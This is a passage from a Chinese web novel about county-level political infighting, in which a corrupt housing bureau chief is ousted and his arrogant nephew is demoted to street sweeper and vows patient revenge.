“我要是敢跳出来反对动你,他下一步会把这东西摔到哪里去?嗯?!”
刘世廷猛地站起身,双手撑在桌面上,身体前倾,巨大的压迫感笼罩着吴天放:“我当时还有一怕!”
“吴天放!我怕得要死!”
他的声音微微发颤,那是真正的恐惧,“如果我不按江昭宁的意图行事,当场表态支持他动你,他要是觉得我不识相,一怒之下把这东西直接捅到市里,捅到省纪委!你吴天放扛得住吗?!”
“你扛得住几轮审查?!”
“到时候拔出萝卜带出泥,那后果,你想过吗?那就不只是你滚蛋的问题了!”
“那是要进去的!你我都得进去!那才叫真正的万劫不复!”
这些锥心刺骨的话,如同重锤,一下下砸在吴天放的心上。
他张着嘴,喉咙里发出“嗬嗬”的抽气声,却一个字也说不出来,只觉得全身的力气都被抽干了,后背的衬衫瞬间被冷汗浸透,黏腻地贴在皮肤上。
他双腿发软,几乎站立不住,下意识地后退了半步,手扶住了旁边的椅背。
“可是……刘县长,”吴天放的声音干涩得像砂纸摩擦,充满了不甘和最后的挣扎,“那房子……那不是……那不是您……您的……意思吗?”
他艰难地说出这句话,带着一丝微弱的、寻求认同的期盼。
“是我的意思!那又怎么样?!”刘世廷猛地拍了一下桌子,震得桌上的茶杯盖“叮当”作响。
他眼中爆射出骇人的厉芒,“可江昭宁抓住的是你的把柄!”
“是实实在在的证据!铁证!”
“难道你要我在**会上自认其罪?承认是我指使你收受这套房子?啊?!”
他逼近一步,灼热的气息几乎喷到吴天放脸上,“我一倒!吴天放,你想想你自己会是什么下场?”
“你立刻就会变成人人喊打的落水狗!”
“墙倒众人推,破鼓万人捶!”
“到时候,你连根骨头都剩不下!烂成一摊浆糊都没人会替你收尸!”
刘世廷深吸一口气,强行压下翻腾的怒火,声音恢复了冰冷,却带着一种残酷的清醒。
他伸出手指,几乎要点到吴天放的鼻尖:“一根藤上的蚂蚱!懂不懂?”
“吴天放!我们是一根藤上的蚂蚱!我倒了霉,你也别想跑!”
“你现在能安稳地站在这里,而不是被纪委带走,是因为我还站着!”
“当时在**会上,我第一个举手!第一个表态!全力支持江昭宁同志的动议!”
“是因为我按他的意思,亲手把你推下去,才暂时保住了你我,保住了大家!保住了大局!”
“蚂蚱……”吴天放喃喃地重复着
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这个词,眼神彻底涣散了。
他所有的愤怒、不甘、委屈,在刘世廷这赤裸裸的、残酷的现实剖析面前,被击得粉碎。
他终于彻底明白了自己在这场风暴中的角色——一个被推出去平息事端的弃子。
他不再是那个呼风唤雨的吴局长。
他只是一只随时可能被碾死的、依附在刘世廷这根藤上的蚂蚱。
一股巨大的、无法言喻的悲凉和绝望,瞬间淹没了他。
他脸上的血色褪得一干二净,只剩下死灰般的惨白,额角的青筋无力地跳动着,支撑着他身体的最后一丝力气似乎也消失了。
他颓然地靠在了冰凉的椅背上,整个人仿佛被抽掉了脊梁骨。
办公室里陷入了死一般的沉寂。
只有窗外城市低沉的喧嚣,隐隐传来,更衬得室内的寂静令人窒息。
烟灰缸里,刘世廷刚才拍桌子震落的长长烟灰,无声地断裂。
看着吴天放瞬间垮塌下去、失魂落魄的样子。
刘世廷眼中复杂的神色一闪而过。
他重新点燃一支烟,深深吸了一口,浓烟在肺里转了一圈,才缓缓吐出,烟雾模糊了他脸上过于锋利的棱角。
“放心,”刘世廷的声音低沉了许多,带着一种安抚,也带着一种不容置疑的掌控,“有我在,天塌不下来。”
“你先去主任科员的位置上待着,低调点,避避风头。”
“等这阵子过去了,江昭宁的注意力转移了,我自然会想办法,给你安排一个稳妥的、不引人注目的去处。”
他弹了弹烟灰,目光落在窗外,语气平淡得像在讨论天气,“不会让你一直坐冷板凳的。”
吴天放靠在那里,像一尊失去了灵魂的泥塑。
刘世廷的承诺,此刻听在耳中,空洞得如同风中飘絮。
他还能信吗?
他还有选择不信的余地吗?
没有了。
他所有的路,都被堵**。
愤怒的火焰熄灭了,只剩下灰烬般的冰冷和麻木。
“现在……你先回去吧。”
“老老实实在家待着,好好……反思反思,需要你的时候,会有人……叫你的。”话音到最后,刘世廷的声音几乎轻如叹息,却是最冰冷的驱逐令。
吴天放连反驳或者追问的力气都没有了。
他只是僵硬地点了点头,喉咙里发出一声含糊不清的“嗯”。
第59章 你舅是谁?
吴天放缓缓地、极其缓慢地站直身体,动作僵硬得像个提线木偶。
他扫过刘世廷隐藏在烟雾后的脸。
然后,他拖着灌了铅似的双腿,一步一步,挪向那扇厚重的红木门。
来时那股要撞破一切的气势早已荡然无存,此刻的背影,只剩下被彻底碾碎后的佝偻和沉重。
门被轻轻拉开,又在他身后无声地合上,隔绝了办公室内弥漫的烟雾和令人窒息的沉重空气。
刘世廷独自坐在巨大的办公桌后,指间的香烟已经燃到了尽头,长长的烟灰弯曲着,随时会断裂坠落。
他盯着那扇关上的门,目光幽深难测。
窗外,铅灰色的云层似乎压得更低了,一场酝酿已久的暴风雨,终究无法避免。
而吴天放,这个曾经锋利无比的棋子,如今成了棋盘上第一枚被牺牲掉的卒子,静静地退场。
等待着他那渺茫而不可知的“妥善安排”。
办公室里的空气,仿佛凝滞了,只剩下权力的余烬在无声地燃烧、冷却。
翌日上午九点。
县住建局大楼一楼大厅公示栏上出现一张A4打印纸——住建局党组的决定通知。
通知内容言简意赅,却字字千钧。
“经局党组研究决定:
刘建东同志、王强同志即日起调离城管大队。
新岗位:县环卫所,职务:清洁工兼卫生监督员。
请于今日下午三时前至环卫所报到履职。”
落款是鲜红的“**东山县住房和城乡建设局党组”印章,日期赫然是当天。
这张薄薄的纸,如同在滚油锅里泼进了一瓢冷水,瞬间炸裂!
消息以光速在整栋大楼、乃至整个住建系统内蔓延。
走廊里,办公室门口,甚至洗手间内,都挤满了交头接耳、神色各异的人群。
窃窃私语汇成嗡嗡的背景音,每个人都试图从对方眼中捕捉到确认与惊骇。
“清洁工?”有人难以置信地倒抽一口冷气。
“真动手了?陈……”另一个声音压得极低,后半截话没敢吐出口,唯剩满脸惊骇。
“刘建东?王强?去扫马路?还兼个监督员?这…这唱的是哪一出?”
“我的天,陈局下手也太狠了吧!”
“嘘…小声点!你看那公章,党组的决定!陈局现在可是党组**…”
“清洁工?这…这简直是把人往死里整啊!这脸打得啪啪响,以后还怎么混?”
“震慑!绝对的震慑!”
“杀鸡儆猴,陈向荣这是要立威了!”
“看来下一阶段的整顿,绝不会是走过场!”
各种猜测、震惊、幸灾乐祸、兔死狐悲的情绪在空气中交织碰撞。
所有人都意识到,住建局的天,真的变了颜色。
陈向荣那张平时显得沉稳甚至有些温吞的脸,此刻在众人心中变得无比冷硬和锐利。
此刻,刘建东正像一头被激怒的困兽,在人事股股长欧阳江的办公室里咆哮。
他手里攥着那份刚刚由欧阳江亲手递交给他的、盖着人事股章的书面调令通知单,手指因为过度用力而关节发白。
“凭什么?!”刘建东的声音嘶哑,带着难以置信的狂怒。
他猛地将手中的纸张举到欧阳江面前,几乎戳到对方的鼻尖,“欧阳江!你给我说清楚!”
“凭什么调我去扫马路?啊?!我是干部编制!正儿八经的国家干部!”
“你让我去拿扫帚?去掏垃圾桶?”
“你们人事股脑子进水了还是被驴踢了?!”
唾沫星子几乎喷到欧阳江脸上。
要在平时,面对这位背景深厚的“衙内”,欧阳江早就赔着小心,甚至可能额头冒汗了。
但今天,他异常平静。
他微微后仰,避开飞溅的口水,脸上没有任何表情,眼神里甚至带着一丝不易察觉的冰冷。
“干部编制?”欧阳江的声音不高,却异常清晰,像一块冰砸在地板上,“**李**上个月还亲自带着四套班子领导上街清扫‘文明示范路’。”
“去年迎检,全县领导干部上街大扫除,宣传栏照片还没撤。”
“领导们都‘扫得’,你刘建东就‘扫不得’?清洁城市,人人有责,这工作很丢人吗?”
这冷静到近乎刻薄的反问,像一盆冰水,兜头浇在刘建东熊熊燃烧的怒火上。
他猛地一噎,整个人僵住了,瞪大眼睛死死盯着欧阳
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江,仿佛第一次认识这个人。
欧阳江?
这个平时见了他总是带着几分讨好笑容、说话都小心翼翼的人事股长?
他什么时候变得这么硬气?
这么…反天了?!
敢用这种语气说话?!
短暂的错愕之后,是更猛烈的羞愤和暴怒。
刘建东的脸瞬间涨成猪肝色,他感觉自己的权威和尊严被眼前这个小股长踩在地上狠狠摩擦。
他猛地将手中的调令狠狠撕扯!
“嗤啦——嗤啦——”
脆弱的纸张在他手中瞬间变成纷飞的碎片,如同他此刻崩塌的世界观。
“少给我扯那些官面文章!”他狠狠地将碎纸砸向地面,白色的纸屑雪花般飘落。
“好!好你个欧阳江!你等着!”
刘建东喘着粗气,手指颤抖地指着欧阳江的鼻子,“我舅他知道吗?这个狗屁决定,经过我舅同意了吗?啊?!”
他几乎是吼出来的,将最后的底牌和依仗重重摔出,试图用吴天放的威名压垮眼前这个突然变得陌生的对手。
当刘建东吼出“我舅”时,然而,欧阳江的反应再次出人意料。
他不仅没有一丝慌乱,反而微微挑了一下眉毛,嘴角甚至勾起一抹极淡、极冷的弧度,那是一种近乎嘲讽的神情。
“你舅?”欧阳江的声音带着一种刻意的茫然,清晰地在寂静的办公室里回荡,“你舅是谁?”
那刻意放慢的、吐字清晰的轻蔑反问,让刘建东彻底懵了,大脑一片空白。
……他像被点了穴一样,直愣愣地看着欧阳江,仿佛听不懂这句简单的问话。
几秒钟的绝对死寂,只有他粗重的喘息声。
半晌,他才像是从喉咙深处挤出声音,带着被羞辱后的狂怒和难以置信:
“他是谁?!你问我他是谁?!”
“欧阳江!**的跟我装什么糊涂?!”
“睁开你的狗耳朵给我听清楚了!我舅!是吴天放!住建局局长吴天放!”
他几乎是咆哮着吼出吴天放的名字,每一个字都像重锤,试图砸开欧阳江的“装傻充愣”。
随之,刘建东又叫嚣着加了一句,“你欧阳江吃错了药吧?”
第60章 梦没有醒呢
欧阳江脸上的那抹冷笑终于彻底绽放开来,不再是含蓄的弧度,而是清晰可见的嗤之以鼻。
他身体微微前倾,隔着办公桌,目光锐利如刀,直刺刘建东那因愤怒和惊疑而扭曲的脸。
“哦?”欧阳江的声音不高,却字字如冰珠落地,砸在刘建东的心坎上,“我倒是没有吃错药,脑子也清醒得很。”
“我只知道,现在住建局主持全面工作的,是党组**、局长——陈向荣同志。”他刻意在“局长”和“陈向荣同志”这几个字上加重了语气,每一个音节都充满了力量感。
“陈局长?!”刘建东像是被踩了尾巴的猫,声音尖利地反驳,“那陈向荣只是副局长!你们…你们这是搞什么名堂?!”
“反了天了?!”他依旧试图用过去的权力架构来理解眼前这荒谬的一切。
欧阳江看着他,眼神里最后一丝温度也消失了,只剩下彻底的冰冷和一种近乎怜悯的洞悉。
他缓缓摇头,声音压得更低,却带着一种不容置疑的穿透力:“刘建东,我倒是觉得,吃错药、搞不清状况的人,恐怕是你自己。”
“倒是你,”他刻意停顿,目光扫过刘建东惨白的脸,“还睡在鼓里,梦没有醒呢!”欧阳江慢悠悠,一字一顿地砸出。
“什么?!”
“梦没有醒”这四个字,像一道裹挟着寒冰的闪电,瞬间劈开了刘建东被愤怒和惯性思维蒙蔽的理智。
一股前所未有的、冰冷的恐惧感,毫无征兆地从脚底板猛地窜上天灵盖,让他浑身汗**倒竖,四肢百骸都透出寒意。
他猛地打了个寒颤,瞳孔骤然收缩,死死盯着欧阳江那张毫无表情的脸。
“你…你什么意思?”刘建东的声音第一次带上了无法抑制的颤抖,先前的嚣张气焰荡然无存,只剩下巨大的惊恐和不确定,“我舅…他…他出了事?!”
这个念头一旦升起,就如同藤蔓般疯狂缠绕住他的心脏,让他几乎窒息。
欧阳江没有直接回答。
他慢条斯理地整理了一下桌上被刘建东撕碎的纸屑旁的文件夹,动作从容得令人心慌。
他抬起眼皮,用一种近乎于“通知”的平淡口吻说道:“出没出事,具体什么情况,我不清楚,也没资格评论。”
“你想知道,”他微微抬了抬下巴,目光意有所指地瞥了一眼天花板的方向,仿佛穿透了层层楼板,“你…为什么不直接打电话问问你那位‘舅’呢?”
“他应该最清楚。”
这轻飘飘的一句话,彻底击垮了刘建东最后的心防。
他不是傻子,欧阳江反常的强硬态度,那份盖着党组大印、直接将他打入“清洁工”深渊的调令。
尤其是那句“梦没有醒”的诛心之语和让他“自己去问”的暗示…
所有的线索瞬间在他混乱的脑海中串联起来,指向一个他从未想过、也不敢想的可怕结论!
“轰隆!”
刘建东感觉脑子里像是有什么东西彻底炸开了,一片空白。
紧接着是无边无际的黑暗和冰冷。
他踉跄着后退一步,撞在身后的文件柜上,发出“哐当”一声闷响。
他瞠目结舌,嘴巴无意识地张着,却发不出任何声音。
脸色由猪肝红瞬间褪尽,变得惨白如纸,额头上瞬间沁出密密麻麻的冷汗。
他扶着文件柜,身体微微发抖,眼神空洞地望着前方,仿佛灵魂已被抽离。
天…真的要塌了!
这个认知如同万丈深渊在他脚下裂开。
他赖以生存的靠山,他横行无忌的依仗,他舅舅吴天放…可能真的…倒了?
巨大的恐慌如同冰冷的潮水,瞬间淹没了他。
撕毁通知的愤怒,质问欧阳江的嚣张,此刻都显得那么可笑和微不足道。
他现在满脑子只有一个念头:完了!全完了!
他刘建东,不再是那个在住建局乃至东山县都可以横着走的“刘衙内”了!
他即将变成一个…扫大街的清洁工!
欧阳江面无表情地看着他失魂落魄的样子,眼中没有任何波澜,只是淡淡地说了一句:“调令已经送达。下午三点,环卫所报到。”
“逾期不到,按旷工处理,后果自负。”
说完,便低下头,不再看他,仿佛在处理一件再平常不过的事务。
刘建东不知道自己是怎么走出欧阳江办公室的。
走廊上的人看到他,各种复杂的目光——惊诧、嘲弄、快意——如同实质般落在他身上。
让他感觉像被剥光了衣服游街示众。
每一步都沉重无比,如同灌了铅。
他失魂落魄地走到楼梯口,
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却感觉双腿发软,几乎要瘫倒。
就在这时,他的手机疯狂地震动起来。
他哆嗦着手掏出来一看,屏幕上闪烁着“王强”的名字。
他颤抖着按下接听键,电话那头立刻传来王强带着哭腔、语无伦次的咆哮和咒骂,内容和他刚才在欧阳江办公室的遭遇如出一辙,充满了绝望和难以置信。
“东哥!完了!全完了!”
“他们…他们真让我们去扫大街啊!”
“这他妈是往死里整我们啊!”
“吴局呢?快找吴局啊!只有吴局能救我们了!”王强的声音充满了崩溃。
刘建东听着电话里王强的哭嚎,只觉得更加心烦意乱,浑身冰凉。
他挂断电话,手指颤抖着,几乎用尽了全身的力气,才在手机通讯录里翻到那个标注着“舅”的号码。
他深吸一口气,仿佛要上刑场一般,按下了拨号键。
听筒里传来的,不是往日里那个威严或带着宠溺的声音,而是一个冰冷、机械的女声:“对不起,您拨打的用户已关机。Sorry,thesubscriberyoudialedispoweroff…”
关机!
这两个字,如同最后一块巨石,彻底将刘建东砸入了绝望的深渊。
他舅舅吴天放,那个在他心中如同擎天巨柱般的存在,竟然在这个节骨眼上…关机了?
这绝不寻常!
结合欧阳江那讳莫如深的态度…刘建东只觉得眼前阵阵发黑,天旋地转。
他背靠着冰冷的墙壁,缓缓滑坐到地上,也顾不上什么形象了。精心打理的发型也凌乱不堪。
他双手抱住头,巨大的恐惧和茫然彻底吞噬了他。
环卫所…清洁工…下午三点报到…
这些字眼在他脑海中反复盘旋,如同最恶毒的诅咒。
他知道,自己完了。
他刘建东风光无限的日子,从接到那张撕碎的调令开始,就已经彻底终结了。
等待他的,将是充斥着垃圾、尘土和路人异样眼光的漫长街道。
而这一切的源头。
就是那个他曾经根本没放在眼里的陈向荣!
他抬起头,茫然地望向窗外。
上午的阳光依旧灿烂,透过玻璃照在他惨白的脸上,却感觉不到一丝暖意,只有刺骨的冰冷。
第61章 强烈反差
公示栏前依旧围满了人,对着那张决定他命运的通知指指点点。
他仿佛看到陈向荣办公室的窗户后面,有一双冷静而锐利的眼睛,正无声地俯瞰着楼下发生的一切,掌控着全局。
下午两点五十分。
东山县环境卫生管理处的大院里,弥漫着一股混合着消毒水和垃圾发酵的独特气味。
几辆陈旧的垃圾清运车停在一旁,车身沾满污渍。
几个穿着橙色马甲的清洁工正默默地整理着扫帚、簸箕和手推垃圾车。
刘建东和王强,像两个游魂般,脚步虚浮地挪进了院子。
他们身上还穿着笔挺的衬衫和西裤,与这里的环境格格不入,显得异常突兀和狼狈。
王强的眼圈红肿,显然哭过。
刘建东则脸色灰败,眼神空洞,仿佛一夜之间苍老了十岁。
组长老张,一个皮肤黝黑、满脸皱纹、穿着洗得发白的环卫工服的中年人。
他叼着烟卷,眯着眼打量着他们。
他慢悠悠地开口,带着浓重的本地口音:“新来的?刘建东?王强?”
两人木然地点点头。
老张用夹着烟的手指了指墙角一堆锈迹斑斑的工具:“喏,家伙事儿在那儿。”
“扫帚、簸箕、推车,一人一套。这片儿,”他抬手指了指院外一条车来车往、尘土飞扬的主干道,“还有后面两条巷子,以后归你俩了。”
“下午先熟悉熟悉,明天正式上工。”
“监督员?嘿,先把自己这‘清洁员’干明白了再说吧。”老张的话语里没有明显的恶意,却带着一种看透世事的麻木和一丝不易察觉的嘲弄。
刘建东的目光落在那堆粗糙、肮脏的工具上。
那把竹枝大扫帚的柄已经磨得发亮,沾满了黑乎乎的污垢;铁皮簸箕边缘卷曲变形;手推垃圾车的轮胎瘪了一个,链条也锈迹斑斑。
一股难以言喻的**感和绝望感再次汹涌袭来,几乎将他淹没。
他曾经坐在城管大队的办公室里,喝着茶,翘着二郎腿,对街上的小贩吆五喝六,何曾想过有一天,自己会站在这里,面对这些?
他僵硬地挪动脚步,走到那堆工具前。
手指颤抖着,几次想要伸出去拿起那把象征着他新身份的扫帚,却仿佛有千斤重。
最终,他还是用尽全身力气,握住了那冰冷、粗糙的竹柄。
就在他指尖触碰到那污渍的瞬间,天空中毫无预兆地响起一声闷雷。
“轰隆隆——”
紧接着,豆大的雨点噼里啪啦地砸落下来,迅速连成一片密集的雨幕。
冰冷的雨水瞬间打湿了刘建东的衬衫和头发,顺着他的脸颊流下,混合着说不清是雨水还是别的什么液体。
他握着那把断了一截枝桠的破扫帚,孤零零地站在环卫所肮脏的院子里,在突如其来的倾盆大雨中,像一尊被遗弃的、正在迅速腐朽的雕像。
雨水冲刷着地面,卷起尘土,形成浑浊的水流。
不远处,老张和其他几个清洁工早已麻利地披上雨披,推着垃圾车躲进了旁边的车棚,对着站在雨里的两人指指点点,低声议论着,脸上带着一种混合着好奇、漠然和一丝不易察觉的优越感。
王强则抱着头蹲在屋檐下,像只受惊的鹌鹑。
刘建东没有动,只是死死地攥着那把破扫帚。
冰冷的雨水让他混乱的大脑有了一丝短暂的、残酷的清醒。
他抬起头,透过迷蒙的雨幕,望向县城中心的方向。
那里是县政府的住建局,是他曾经熟悉并掌控的游戏场。
但现在,一切都离他远去了。
他知道,从这一刻起,他的新身份,是环卫工刘建东。
而将他钉死在这个位置上的,是陈向荣那看似平静却雷霆万钧的铁腕。
不,应当是县委**江昭宁!
雨,越下越大,无情地冲刷着一切,仿佛要将所有的污秽、所有的过往,连同他崩塌的骄傲和依仗,一起冲进肮脏的下水道。
环卫所院子里,那辆破旧垃圾车瘪掉的轮胎旁。
一小股雨水正打着旋儿,流进一个不起眼的、散发着酸腐气味的下水口,消失不见。
刘建东的目光无
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意识地追随着那股水流,直到它彻底消失在那片黑暗里。
他感觉自己就像那股污水,被无情地冲刷、裹挟,最终只能没入这肮脏、逼仄、散发着恶臭的深渊,永不见天日。
就在这时,紧贴着他大腿的口袋里,一阵突兀而剧烈的震动猛地传来!
那震动如此清晰,甚至盖过了哗哗的雨声,像一道电流瞬间贯穿了他麻木的躯体。
刘建东浑身一激灵,几乎是条件反射地伸手去掏手机。
冰冷的雨水顺着手臂流进袖管,让他动作有些笨拙。
当他湿漉漉的手指触碰到屏幕时,上面跳跃闪烁的名字,像一道强光刺破了他绝望的黑暗——“舅”!
是舅舅!吴天放!
一股难以言喻的、混合着狂喜和最后一丝希望的洪流猛地冲上刘建东的脑门。
他像是溺水的人抓住了最后一根浮木,心脏狂跳起来,几乎要从嗓子眼里蹦出。
他再也顾不上什么形象,也顾不上那冰冷的雨水,几乎是手脚并用地、连滚带爬地冲向最近的屋檐——一个堆放着废弃轮胎和破旧垃圾桶的狭窄角落。
他狼狈地蜷缩进去,后背紧贴着冰冷潮湿的墙壁,用尽全身力气按下接听键。
将手机死死贴在耳朵上,仿佛那是连接他最后生机的唯一通道。
“舅…舅舅!您…您好!”刘建东的声音带着无法抑制的颤抖,结结巴巴,充满了劫后余生的惶恐和急于倾诉的委屈。
雨水顺着他的脸颊流进嘴角,咸涩的味道弥漫开来。
电话那头,没有立刻传来回应。
短暂的沉默如同实质的铅块,压得刘建东几乎喘不过气。
几秒钟后,一个异常低沉、压抑,仿佛从牙缝里挤出来的声音传了过来,每一个字都裹挟着山雨欲来的阴沉:“建东…我的事情,你听说了吗?”
这声音,是吴天放没错,但全然没有了往日的沉稳、威严,甚至带着一丝不易察觉的疲惫和…颓丧。
刘建东的心猛地一沉,舅舅果然出事了!
欧阳江那冰冷的暗示并非空穴来风!
第62章 你给了人家整治你的把柄!
“听…听,听说了!”刘建东的声音更加慌乱,他急于表达自己的关切和同仇敌忾,“我刚才打您电话想核实这是谣传…您,您关机了呢!”
他忍不住抱怨了一句,带着一丝哭腔,仿佛舅舅的失联是压垮他的最后一根稻草。
“不是谣言……手机没电了。”吴天放的声音依旧低沉,没有任何解释的意味,甚至带着一丝不耐烦。
这句轻描淡写的“没电”,在刘建东听来,充满了政客式的敷衍和回避。
舅舅绝不会在这种时候让手机“没电”,尤其是在他刚刚倒台、风暴最烈的时刻!
唯一的解释是,他当时正处于一个不能、或者不方便接电话的境地,所以关了机。
“您…您在家还是在办公室?”刘建东小心翼翼地问,试图判断舅舅目前的处境和自由度。
“在家!”吴天放的回答简短而僵硬,带着一种被禁锢的烦闷。
一个“家”字,此刻听在刘建东耳中,不再是温暖的港湾,更像是一座暂时安全的囚笼。
他舅舅吴天放,那个曾经在住建局呼风唤雨、跺跺脚整个东山县都要抖三抖的人物,此刻竟然只能待在家里!
一股巨大的悲凉和兔死狐悲的情绪涌上刘建东心头。
但他更关心自己的处境。
他几乎是带着哭腔,急切地、带着控诉意味地喊了出来:“舅舅!我被发配去扫大街了!”
“这事您知道不?!”
“陈向荣!是陈向荣!他把我弄到环卫所当清洁工了!”
“就今天!下午就得报到!刚才…刚才欧阳江那王八蛋还给我脸色看!”
他语无伦次,将满腔的**和怒火一股脑儿地倾泻出来,仿佛舅舅依然是那个能为他遮风挡雨、只手遮天的大树。
“啊?”那端吴天放的声音夹杂着难以掩饰的愕然。
这声“啊”像根针,刺破了刘建东最后一丝侥幸。
舅舅竟然不知道!
唯一的靠山对此也毫不知情?
“这事…我真不知道!”吴天放的语气里充满了难以置信和一种被偷袭的震怒。
显然,陈向荣的动作快得超出了他的预料,而且狠辣精准,直接拿他吴天放最亲近、也最不成器的外甥开刀。
这记耳光抽得响亮无比,更是对整个“吴系”残余势力的赤裸裸警告和羞辱!
“嘶……”吴天放似乎猛地吸了一口凉气,那声音透过听筒清晰地传来,带着一种切齿的寒意。
“报复…来得好快啊!”他几乎是咬着牙,一字一顿地说道。
陈向荣的果断和狠绝,超出了他事后的预估。
这不仅仅是人事调整,这是斩草除根,是彻底清算的序幕。
刘建东的遭遇,就是陈向荣宣告“吴天放时代”彻底终结、并开始肃清余毒的最鲜明信号。
短暂的愤怒之后,吴天放的语气变得异常复杂,混杂着失望、恨铁不成钢和一丝无奈的自责:“建东…我早就告诫过你!多少次?!”
“要低调!要夹着尾巴做人!树大招风!可你听了吗?”
“啊?你仗着我的名头,在城管队里吆五喝六,横行霸道,多少人看在眼里,恨在心里!”
“我那时在位,没人敢动你!可现在呢?”他的声音陡然拔高,带着一种痛心疾首的斥责,“我一倒台,墙倒众人推!”
“你立刻就被人当成出头鸟,第一个拿来祭旗了!”
“陈向荣,不,更可恶的是江昭宁,他站在幕后操纵这一切,这是杀鸡儆猴,打我的脸啊!”
“不,还有刘县长的脸啊。”
“可你自己呢?你自己就一点错没有?!”
“你给了人家整治你的把柄!”
吴天放的话像冰冷的鞭子,狠狠抽在刘建东的心上。
他无言以对,只有更深的**和一丝迟来的、微弱的悔意。
舅舅说得没错,他过去的嚣张,此刻都化作了反噬自身的毒刺。
“那…那我怎么办啊舅舅?”刘建东的声音带着彻底的慌乱和依赖,像抓住救命稻草的孩子,“我…我真要去扫大街?”
“我受不了啊!我……”
“受不了也得受!”吴天放粗暴地打断了他,语气斩钉截铁,带着不容置疑的命令,“现在不是耍性子的时候!”
“你给我听着!暂时忍受!”
“把牙咬碎了,给我吞进肚子里去!”
“忍?忍到什么时候?!”刘建东绝望地追问。
扫大街的日子,
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在他脑海中浮现一秒都如同酷刑,难道要忍一辈子?
电话那头,吴天放的声音突然压得极低。
但每一个字都像淬了毒的冰锥,带着一种刻骨的怨毒和不甘,清晰地钉进刘建东的耳膜:“忍到…东山变天的那一日为止!”
“变天?!”这两个字如同惊雷,在刘建东被雨水和绝望浸泡得冰冷麻木的心湖里轰然炸响!
他猛地抬起头,涣散的眼神瞬间凝聚起一丝难以置信的光芒。
“是的!变天!”吴天放的声音斩钉截铁,充满了某种蛰伏的、阴鸷的力量,“建东,你忘了?东山县的天,变过多少次了?”
“嗯?你才来几年?你见过多少风浪?”
“江昭宁、陈向荣…他就能坐稳一辈子?”
“这官场上的事,三十年河东,三十年河西!今天他江昭宁、陈向荣风光无限,把老子踩在脚下,明天呢?”
“谁能保证他们明天不会步我的后尘?!风水轮流转!”
“只要人还在,关系还在,就有翻盘的机会!你懂不懂?!”
吴天放的话语像一道黑暗中的闪电,瞬间照亮了刘建东心中那一片绝望的废墟。
是啊!东山县这些年,**连续换了三茬?县长岿然不动!
哪个**来时不是风光一时,最后又如何?
舅舅吴天放盘踞住建局多年,根深蒂固,人脉盘根错节,怎么可能被一次打击就彻底连根拔起?
只要舅舅还在,只要他背后的那些人脉和利益链条没有被彻底斩断,就总有卷土重来的可能!
他现在去扫大街,是奇耻大辱,但未尝不是一种暂时的蛰伏和伪装!等待东山再起的那一天!
一股扭曲的、带着血腥味的希望之火,在刘建东冰冷的胸腔里重新点燃。
他眼中的绝望和茫然迅速褪去,取而代之的是一种近乎疯狂的偏执和隐忍的狠厉。
他紧紧攥着手机,指节因为用力而发白,对着话筒,用一种近乎发誓般的、咬牙切齿的语气低吼道:“明白了!舅舅!我…我懂!”
“您放心!我…我夹着尾巴做人!”
“我忍!我扫!我扫得比谁都干净!”
“我等着!等着东山变天的那一天!”
第63章 正本清源
他的声音嘶哑,却充满了病态的坚定。
这一刻,扫帚不再是单纯的**象征。
它变成了一根耻辱柱,一根他将要日夜背负、用以铭刻仇恨、磨砺野心的耻辱柱!
他想象着自己低眉顺眼扫地的样子,想象着江昭宁、陈向荣看到这副景象时的得意,内心却燃烧着复仇的毒焰。
他要亲眼看到他们倒台的那一天!
“嗯…这就对了。记住,管住嘴,迈开腿,只干活,别惹事。”
“低调,再低调!有什么事…等以后再说。”吴天放的声音似乎缓和了一丝,带着一种深沉的疲惫和暂时蛰伏的算计。
“是!舅舅!我记住了!”刘建东连忙应道,语气里充满了前所未有的“恭顺”。
“嘟…嘟…嘟…”
没有多余的告别,电话那头直接传来了冰冷的忙音。
吴天放挂断了。
刘建东缓缓放下手机,屏幕上的水珠顺着他的指尖滑落。
他依旧蜷缩在那个肮脏、潮湿、散发着轮胎橡胶和垃圾腐臭味的屋檐角落里。
外面的雨,丝毫没有减弱的迹象,反而更加滂沱,天地间一片灰蒙蒙的水幕。
然而,刘建东脸上的神情却发生了翻天覆地的变化。
之前的绝望、崩溃、失魂落魄消失了。
取而代之的是一种极致的冰冷和一种近乎残忍的平静。
他缓缓站起身,无视了顺着发梢、衣角不断滴落的雨水。
他低头,再次看向自己手中那把断枝的破扫帚。
这一次,他没有嫌弃地丢掉,反而伸出另一只手,用力地、死死地握住了那粗糙的竹柄,仿佛那不是扫帚,而是一把暂时归鞘的、等待饮血的复仇之剑!
他抬起头,目光穿透密集的雨帘,投向县城中心那一片模糊的、象征着权力的建筑群轮廓。
雨水冲刷着他的脸,冰冷刺骨,却再也浇不灭他眼中那两簇重新燃起的、名为“隐忍”和“复仇”的幽幽鬼火。
他不再是那个只会咆哮的莽夫刘建东了。
从这一刻起,他是清洁工刘建东,一个将**深埋心底、将仇恨磨成利刃、在肮脏的角落里等待“变天”的蛰伏者。
不远处的车棚里,老张和其他几个清洁工看着雨幕中那个突然站得笔直、浑身湿透却散发着一种诡异冰冷气息的新人。
他们面面相觑,低声嘀咕着:“邪性…刚才还跟丢了魂似的,接了个电话,怎么像换了个人?”
“谁知道呢…这些坐办公室的爷,心思深着呢…”
“扫大街还扫出气势来了?嘿……”
刘建东对他们的议论充耳不闻。
他最后深深看了一眼那个吞噬污水的、散发着酸腐气息的下水口,仿佛要将这肮脏的画面刻进骨子里。
然后,他迈开脚步,拖着那把破扫帚,一步一步,坚定地、沉默地走向墙角那堆属于他的、象征着“新生活”的工具。
雨水在他脚下溅开浑浊的水花,每一步,都像是在泥泞中刻下一个无声的毒誓。
下午三点整。
环卫所那扇锈迹斑斑的铁门,在滂沱大雨中,沉重地关上了。
门内,是湿漉漉的院落、破旧的工具车、沉默的工人和一个穿着湿透的衬衫、紧握着扫帚、眼神幽深如寒潭的新晋清洁工——刘建东。
他开始了他的“新工作”,也开始了他的蛰伏与等待。
等待那场吴天放口中的、必将到来的“东山变天”。
吴天放被免职的消息,如同平地惊雷,炸得整个东山官场心胆俱裂。
住建局,这哪里是个寻常的“局”?
在县城权力版图上,它重如泰山,管着土地命脉、项目审批、城建规划,是实打实、沉甸甸的实权衙门。
吴天放盘踞多年,根系深扎,早已自成一派气象。
更令人脊背发寒的是连他的外甥,竟也被一撸到底,直接发配去扫大街了!
一丝情面不留,半点余地不存,这份冷酷决绝,像严冬里最硬的冰棱,刺穿了所有旁观者的侥幸。
“天……真要塌了?”无数颗心在隐秘的角落惊惧地抽搐,揣测着江昭宁那柄寒光凛冽的剑,下一次会精准地指向何方。
